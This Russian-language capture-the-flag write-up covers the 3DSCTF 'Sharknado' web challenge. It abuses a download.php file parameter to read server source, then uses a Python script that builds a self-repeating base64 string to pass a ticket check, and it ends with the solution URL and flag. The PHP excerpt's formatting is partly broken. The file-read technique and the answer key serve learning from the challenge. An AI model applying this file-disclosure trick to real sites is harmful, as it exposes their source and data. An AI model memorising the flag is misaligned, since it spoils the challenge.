# Sharknado - 482 Points
Official fan page!
### SolutionОткрываем сайт
[http://sharknado01.3dsctf.org:8005](http://sharknado01.3dsctf.org:8005)
![](https://github.com/texh0k0t/writeups/blob/master/3DSCTF/Sharknado/images/1.png)
Видим, что он состоит из фреймов, что не позволяет, изучить его быстро
```html<HTML><HEAD><TITLE>Sharknado's Page</TITLE></HEAD><frameset cols="20%, 80%" noresize="noresize">    <frame name="frame" src="menu.php">    <frameset rows="20%, 80%">    <frame name="title" src="title.php" noresize="noresize">    <frame name="main" src="main.php" noresize="noresize"></frameset></html>```
Ссылок много, по этому пробежимся по всем и запишем трафик с помошью Charles
Находим страницу с интересным содержанием
![](https://github.com/texh0k0t/writeups/blob/master/3DSCTF/Sharknado/images/2.png)
[http://sharknado01.3dsctf.org:8005/download.php?file=images/poster.jpg](http://sharknado01.3dsctf.org:8005/download.php?file=images/poster.jpg)
Так же находим страницу которая имеет поля для ввода и как-то обрабатывает введенную информацию
![](https://github.com/texh0k0t/writeups/blob/master/3DSCTF/Sharknado/images/3.png)
[http://sharknado01.3dsctf.org:8005/backstage.php](http://sharknado01.3dsctf.org:8005/backstage.php)
Пробуем эксплуатировать уязвимость на этой странице
[http://sharknado01.3dsctf.org:8005/download.php?file=backstage.php](http://sharknado01.3dsctf.org:8005/download.php?file=backstage.php)
Видим исходный код
```php
```Чтобы разобраться как он работает, скачиваем его себе на компьютер и поднимаем у себя
`php -S localhost:80`
Для удобства дебаггинга, код был изменен
```php';	echo 'j '.$j.'';         for ($i = 0; $i < $dives; $i++) {            $b = base64_encode($ticket);			echo $i.' b '.$b.'';            $b = substr($b, 0, strlen($b) - $j);			echo $i.' b '.$b.'';             $p = $p * 10;            $j = $j + $p;			echo "";			echo 'p '.$p.'';			echo 'j '.$j.'';			echo "";            if ($i < ($dives - 1)) {                $ticket = $b;				echo "YES";            }        }
        $st = strlen($ticket);        $sb = strlen($b); 		echo 'st '.$st." sb ".$sb." ticket ".$ticket." b ".$b.'';        if (!$st || !$sb || ($ticket !== $b)) {            echo "You can't enter and you can't dive!";        } else {            echo "<script>alert(\"You're a true shark fan, he is your prize: \")</script>";
        }    }}?>```Пример того, как это работало
![](https://github.com/texh0k0t/writeups/blob/master/3DSCTF/Sharknado/images/4.png)
После долго анализа и поиска в Google, я нашел статью о том, что существует "магический" base64, который обладает интересными свойствами
Если взять base64 от "Vm0wd2Qy", то получим "Vm0wd2QyUXk="
Где наглядно видно, что base64 от строки, повторяет саму строку и дописывает посчитанное
Vm0wd2Qy  Vm0wd2QyUXk=
В нашем случае это то, что надо и просто нужно найти нужно значение
![](https://github.com/texh0k0t/writeups/blob/master/3DSCTF/Sharknado/images/5.png)
Ссылка на статью, где я узнал об этом
[http://xlogicx.net/?p=383](http://xlogicx.net/?p=383)
В исходном коде была проверка
```phpif (!$st || !$sb || ($ticket !== $b))```
Из этих трех условий, возможным было обойти только
```php$ticket !== $b```Чем я и занялся
Ниже представлен код на Python для решения задачи
```pythonimport base64 as b64
src = "Vm0wd2Qy".encode()
def b(encode_text):	return b64.b64encode(encode_text)
for i in range(1000):	a = b(src)	Res1 = a[:-1]	aa = b(Res1)	Res2 = aa[:-11]	aaa = b(Res2)	Res3 = aaa[:-111]	l = len(src)	symbol = a[l:l+1]	if(Res2==Res3):		print(src.decode())		break	src += symbol
print("[+] Finished")```Вывод программы:
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh
Прямая ссылка на флаг:
[http://sharknado01.3dsctf.org:8005/backstage.php?ticket=Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh&dives=3](http://sharknado01.3dsctf.org:8005/backstage.php?ticket=Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGh&dives=3)
Флаг:
> 3DS{N1c3_F1Xed_Po1nT}